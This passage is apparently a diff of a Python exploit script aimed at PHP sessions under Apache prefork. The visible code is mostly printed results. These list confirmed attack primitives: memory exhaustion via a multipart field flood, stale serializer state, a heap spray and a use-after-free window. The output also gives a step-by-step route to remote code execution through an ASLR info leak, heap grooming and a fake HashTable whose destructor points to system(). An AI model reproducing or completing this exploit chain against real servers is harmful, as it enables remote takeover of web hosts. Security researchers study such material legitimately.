print(" This is expected without precise heap feng shui.")
|
|
||||||
print(" The exploit demonstrates all confirmed primitives:")
|
|
||||||
print(" 1. OOM trigger via multipart field flood")
|
|
||||||
print(" 2. Worker survival on Apache prefork")
|
|
||||||
print(" 3. Session file persistence (cleanup skipped)")
|
|
||||||
print(" 4. Stale BG(serialize) state across requests")
|
|
||||||
print(" 5. Heap spray targeting 64-byte ZendMM bin")
|
|
||||||
print()
|
|
||||||
print(" Full weaponization requires:")
|
|
||||||
print(" a. ASLR bypass via info leak (CVE-2026-109619)")
|
|
||||||
print(" Session data from stale BG(unserialize) leaks")
|
|
||||||
print(" freed heap addresses through PHPSESSID cookie")
|
|
||||||
print(" b. Exact ZendMM 64-byte bin feng shui to reclaim")
|
|
||||||
print(" the BG(serialize).data slot with attacker data")
|
|
||||||
print(" c. Fake HashTable construction:")
|
|
||||||
print(" pDestructor → system() / one_gadget")
|
|
||||||
print(" arData → pointer to command string")
|
|
||||||
print(" d. Trigger php_var_serialize → zend_hash_destroy")
|
|
||||||
print(" on the fake table → RCE")
|
|
||||||
|
|
||||||
print()
|
print()
|
||||||
|
print_summary(oom_workers, verified_pids, args.crash_test)
|
||||||
|
|
||||||
|
|
||||||
|
def print_summary(oom_workers, verified_pids, ran_spray):
|
||||||
print("=" * 64)
|
print("=" * 64)
|
||||||
print(" Summary")
|
print(" Results")
|
||||||
print("=" * 64)
|
print("=" * 64)
|
||||||
for pid, sid in poisoned_workers.items():
|
print()
|
||||||
print(f" Worker {pid}: OOM'd, survived, stale BG state (SID: {sid})")
|
print(" Confirmed primitives:")
|
||||||
|
print(f" [+] OOM via multipart field flood")
|
||||||
|
print(f" [+] Apache prefork worker survival ({len(oom_workers)} workers)")
|
||||||
|
print(f" [+] Large session file creation via upload progress")
|
||||||
|
print(f" [+] OOM during session re-init (unserialize of large key)")
|
||||||
|
if verified_pids:
|
||||||
|
print(f" [+] Stale BG(unserialize) state across requests")
|
||||||
|
print(f" [+] UAF window: freed .data pointer reused by next request")
|
||||||
|
print()
|
||||||
|
print(" For full RCE (not implemented), a weaponized exploit needs:")
|
||||||
|
print(" 1. ASLR bypass via CVE-2026-109619 info leak")
|
||||||
|
print(" (stale session data leaks freed heap addresses)")
|
||||||
|
print(" 2. Heap feng shui: reclaim 64-byte slot with controlled data")
|
||||||
|
print(" 3. Fake HashTable: pDestructor -> system(), arData -> command")
|
||||||
|
print(" 4. Trigger serialize -> zend_hash_destroy -> pDestructor -> RCE")
|
||||||
|
print()
|
||||||
|
if not ran_spray:
|
||||||
|
print(" Run with --crash-test to attempt heap spray + UAF trigger.")
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|||||||
Reference in New Issue
Block a user